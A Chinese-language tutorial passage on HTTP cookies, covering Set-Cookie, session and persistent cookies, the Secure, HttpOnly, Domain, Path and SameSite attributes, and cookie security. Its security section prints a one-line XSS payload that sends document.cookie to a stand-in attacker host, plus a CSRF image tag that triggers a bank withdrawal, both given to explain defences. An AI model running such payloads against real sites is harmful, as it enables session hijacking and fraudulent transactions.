HTTP協議特性之Cookie(1)概述——NodeJs版
一、HTTP Cookies基本介紹
HTTP Cookie
(也叫Web Cookie
或瀏覽器Cookie
)是伺服器傳送到使用者瀏覽器並儲存在本地的一小塊資料,它會在瀏覽器下次向同一伺服器再發起請求時被攜帶併發送到伺服器上。通常,它用於告知服務端兩個請求是否來自同一瀏覽器,如保持使用者的登入狀態。Cookie
使基於無狀態的HTTP
協議記錄穩定的狀態資訊成為了可能。
Cookie
主要用於以下三個方面:
- 會話狀態管理(如使用者登入狀態、購物車、遊戲分數或其它需要記錄的資訊)
- 個性化設定(如使用者自定義設定、主題等)
- 瀏覽器行為跟蹤(如跟蹤分析使用者行為等)
Cookie
曾一度用於客戶端資料的儲存,因當時並沒有其它合適的儲存辦法而作為唯一的儲存手段,但現在隨著現代瀏覽器開始支援各種各樣的儲存方式,Cookie
Cookie
後,瀏覽器的每次請求都會攜帶Cookie
資料,會帶來額外的效能開銷(尤其是在移動環境下)。新的瀏覽器API
已經允許開發者直接將資料儲存到本地,如使用 Web storage API
(本地儲存和會話儲存)或 IndexedDB
。
說明:要檢視Cookie
儲存(或網頁上能夠使用其他的儲存方式),你可以在開發者工具中啟用儲存檢視(Storage Inspector
)功能,並在儲存樹上選中Cookie
。
注意:
Cookie弊端:Cookie是隨著HTTP協議出現在響應頭的,影響傳輸效能。
二、建立Cookie
當伺服器收到HTTP
請求時,伺服器可以在響應頭裡面新增一個Set-Cookie
Cookie
,之後對該伺服器每一次請求中都通過Cookie
請求頭部將Cookie
資訊傳送給伺服器。另外,Cookie
的過期時間、域、路徑、有效期、適用站點都可以根據需要來指定。
1、Set-Cookie
響應頭部和Cookie
請求頭部
伺服器使用Set-Cookie
響應頭部向用戶代理(一般是瀏覽器)傳送Cookie
資訊。一個簡單的Cookie
可能像這樣:
Set-Cookie: <cookie名>=<cookie值>
伺服器通過該頭部告知客戶端儲存Cookie
資訊。
2、會話期Cookie
會話期Cookie是最簡單的Cookie
Cookie
不需要指定過期時間(Expires
)或者有效期(Max-Age
)。需要注意的是,有些瀏覽器提供了會話恢復功能,這種情況下即使關閉了瀏覽器,會話期Cookie
也會被保留下來,就好像瀏覽器從來沒有關閉一樣。 注意:預設
Cookie
是一個會話級別的Cookie
3、永續性Cookie
和關閉瀏覽器便失效的會話期Cookie
不同,永續性Cookie
可以指定一個特定的過期時間(Expires
)或有效期(Max-Age
)。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
注意:當Cookie
的過期時間被設定時,設定的日期和時間只與客戶端相關,而不是服務端。
4、Cookie
的Secure
和HttpOnly
標記
標記為 Secure
的Cookie
只應通過被HTTPS協議加密過的請求傳送給服務端。但即便設定了 Secure
標記,敏感資訊也不應該通過Cookie傳輸,因為Cookie有其固有的不安全性,Secure 標記也無法提供確實的安全保障。從 Chrome 52 和 Firefox 52 開始,不安全的站點(http:)無法使用Cookie的 Secure 標記。
為避免跨域指令碼 (XSS) 攻擊,通過JavaScript的 Document.cookie API無法訪問帶有 HttpOnly 標記的Cookie,它們只應該傳送給服務端。如果包含服務端 Session 資訊的 Cookie 不想被客戶端 JavaScript 指令碼呼叫,那麼就應該為其設定 HttpOnly 標記。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
5、Cookie的作用域
Domain 和 Path 標識定義了Cookie的作用域:即Cookie應該傳送給哪些URL。
Domain 標識指定了哪些主機可以接受Cookie。如果不指定,預設為當前文件的主機(不包含子域名)。如果指定了Domain,則一般包含子域名。
例如,如果設定 Domain=mozilla.org,則Cookie也包含在子域名中(如developer.mozilla.org)。
Path 標識指定了主機下的哪些路徑可以接受Cookie(該URL路徑必須存在於請求URL中)。以字元 %x2F (“/”) 作為路徑分隔符,子路徑也會被匹配。
例如,設定 Path=/docs,則以下地址都會匹配:
/docs
/docs/Web/
/docs/Web/HTTP
6、SameSite Cookies
SameSite Cookie允許伺服器要求某個cookie在跨站請求時不會被髮送,從而可以阻止跨站請求偽造攻擊(CSRF)。但目前SameSite Cookie還處於實驗階段,並不是所有瀏覽器都支援。
7、JavaScript通過Document.cookies訪問Cookie
通過Document.cookie屬性可建立新的Cookie,也可通過該屬性訪問非HttpOnly標記的Cookie。
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
三、Cookie安全
注意:當機器處於不安全環境時,切記不能通過HTTP Cookie儲存、傳輸敏感資訊。
1、Link to section會話劫持和XSS
在Web應用中,Cookie常用來標記使用者或授權會話。因此,如果Web應用的Cookie被竊取,可能導致授權使用者的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程式漏洞進行XSS攻擊。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly型別的Cookie由於阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。
2、Link to section跨站請求偽造(CSRF)
維基百科已經給了一個比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行伺服器傳送提現的請求:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
當你開啟含有了這張圖片的HTML頁面時,如果你之前已經登入了你的銀行帳號並且Cookie仍然有效(還沒有其它驗證步驟),你銀行裡的錢很可能會被自動轉走。有一些方法可以阻止此類事件的發生:
- 對使用者輸入進行過濾來阻止XSS;
- 任何敏感操作都需要確認;
- 用於敏感資訊的Cookie只能擁有較短的生命週期;